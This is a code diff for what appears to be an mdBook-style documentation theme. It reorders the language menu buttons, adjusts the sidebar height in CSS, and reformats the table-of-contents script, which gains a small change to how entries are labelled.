<button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
<button id="en" role="menuitem" class="menu-bar-link">English</button>
<button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
<button id="fr" role="menuitem" class="menu-bar-link">French</button>
<button id="de" role="menuitem" class="menu-bar-link">German</button>
<button id="el" role="menuitem" class="menu-bar-link">Greek</button>
@ -190,11 +192,10 @@
<button id="pl" role="menuitem" class="menu-bar-link">Polish</button>
<button id="pt" role="menuitem" class="menu-bar-link">Portuguese</button>
<button id="sr" role="menuitem" class="menu-bar-link">Serbian</button>
<button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
<button id="sw" role="menuitem" class="menu-bar-link">Swahili</button>
<button id="tr" role="menuitem" class="menu-bar-link">Turkish</button>
<button id="uk" role="menuitem" class="menu-bar-link">Ukrainian</button>
<button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
<button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
</div>
</div>
</div>

2
theme/pagetoc.css
View File

@ -72,7 +72,7 @@
.sidetoc-wrapper {
position: fixed;
width: 250px;
height: calc(100vh - var(--menu-bar-height) - 25px * 2);
height: calc(100vh - var(--menu-bar-height) - 50px * 2);
overflow: auto;
display: flex;
flex-direction: column;

96
theme/pagetoc.js
View File

@ -1,68 +1,76 @@
let scrollTimeout;
let scrollTimeout
const listenActive = () => {
const elems = document.querySelector(".pagetoc").children;
[...elems].forEach(el => {
const elems = document.querySelector(".pagetoc").children
;[...elems].forEach((el) => {
el.addEventListener("click", (event) => {
clearTimeout(scrollTimeout);
[...elems].forEach(el => el.classList.remove("active"));
el.classList.add("active");
clearTimeout(scrollTimeout)
;[...elems].forEach((el) => el.classList.remove("active"))
el.classList.add("active")
// Prevent scroll updates for a short period
scrollTimeout = setTimeout(() => {
scrollTimeout = null;
}, 100); // Adjust timing as needed
});
});
};
scrollTimeout = null
}, 100) // Adjust timing as needed
})
})
}
const getPagetoc = () => document.querySelector(".pagetoc") || autoCreatePagetoc();
const getPagetoc = () =>
document.querySelector(".pagetoc") || autoCreatePagetoc()
const autoCreatePagetoc = () => {
const main = document.querySelector("#content > main");
const main = document.querySelector("#content > main")
const content = Object.assign(document.createElement("div"), {
className: "content-wrap"
});
content.append(...main.childNodes);
main.prepend(content);
main.insertAdjacentHTML("afterbegin", '<div class="sidetoc"><nav class="pagetoc"></nav></div>');
return document.querySelector(".pagetoc");
};
className: "content-wrap",
})
content.append(...main.childNodes)
main.prepend(content)
main.insertAdjacentHTML(
"afterbegin",
'<div class="sidetoc"><nav class="pagetoc"></nav></div>'
)
return document.querySelector(".pagetoc")
}
const updateFunction = () => {
if (scrollTimeout) return; // Skip updates if within the cooldown period from a click
const headers = [...document.getElementsByClassName("header")];
const scrolledY = window.scrollY;
let lastHeader = null;
if (scrollTimeout) return // Skip updates if within the cooldown period from a click
const headers = [...document.getElementsByClassName("header")]
const scrolledY = window.scrollY
let lastHeader = null
// Find the last header that is above the current scroll position
for (let i = headers.length - 1; i >= 0; i--) {
if (scrolledY >= headers[i].offsetTop) {
lastHeader = headers[i];
break;
lastHeader = headers[i]
break
}
}
const pagetocLinks = [...document.querySelector(".pagetoc").children];
pagetocLinks.forEach(link => link.classList.remove("active"));
const pagetocLinks = [...document.querySelector(".pagetoc").children]
pagetocLinks.forEach((link) => link.classList.remove("active"))
if (lastHeader) {
const activeLink = pagetocLinks.find(link => lastHeader.href === link.href);
if (activeLink) activeLink.classList.add("active");
const activeLink = pagetocLinks.find(
(link) => lastHeader.href === link.href
)
if (activeLink) activeLink.classList.add("active")
}
};
}
window.addEventListener('load', () => {
const pagetoc = getPagetoc();
const headers = [...document.getElementsByClassName("header")];
headers.forEach(header => {
window.addEventListener("load", () => {
const pagetoc = getPagetoc()
const headers = [...document.getElementsByClassName("header")]
headers.forEach((header) => {
const link = Object.assign(document.createElement("a"), {
textContent: header.text,
href: header.href,
className: `pagetoc-${header.parentElement.tagName}`
});
pagetoc.appendChild(link);
});
updateFunction();
listenActive();
window.addEventListener("scroll", updateFunction);
});
className: `pagetoc-${header.parentElement.tagName}`,
})
if (header.parentElement.querySelectorAll("a").length === 2) {
link.textContent = header.parentElement.querySelectorAll("a")[1].text
}
pagetoc.appendChild(link)
})
updateFunction()
listenActive()
window.addEventListener("scroll", updateFunction)
})